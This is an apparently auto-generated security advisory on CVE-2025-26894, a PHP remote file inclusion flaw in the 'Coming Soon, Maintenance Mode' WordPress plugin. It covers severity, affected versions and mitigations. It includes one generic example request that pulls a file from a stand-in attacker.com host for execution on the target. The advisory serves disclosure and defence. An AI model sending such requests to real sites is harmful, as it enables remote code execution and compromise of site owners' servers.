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CVE-2025-26894: PHP Remote File Inclusion Vulnerability in NotFound Coming Soon, Maintenance Mode Plugin

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Overview

The CVE-2025-26894 vulnerability pertains to NotFound Coming Soon, Maintenance Mode Plugin implemented in PHP. This vulnerability lies in its improper control of filename for Include/Require Statement, also known as ‘PHP Remote File Inclusion’. This issue can potentially lead to system compromise or data leakage, thus posing significant risk to the organizations that are using versions through 1.1.1.

Vulnerability Summary

CVE ID: CVE-2025-26894
Severity: High (CVSS score 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

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Product | Affected Versions

NotFound Coming Soon, Maintenance Mode | 1.1.1 and lower versions

How the Exploit Works

The vulnerability CVE-2025-26894 stems from the improper control of filename for include/require statement in PHP program. This allows an attacker to include a file from a remote server that can be executed in the context of the web server. The attacker can include malicious code to compromise the system or exfiltrate data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the attacker includes a malicious file from their server which gets executed on the target server when the page is loaded.

Mitigation

The users of NotFound Coming Soon, Maintenance Mode are advised to immediately apply the vendor patch, if available. If a vendor patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It is also recommended to disable the allow_url_include and allow_url_fopen settings in the PHP configuration.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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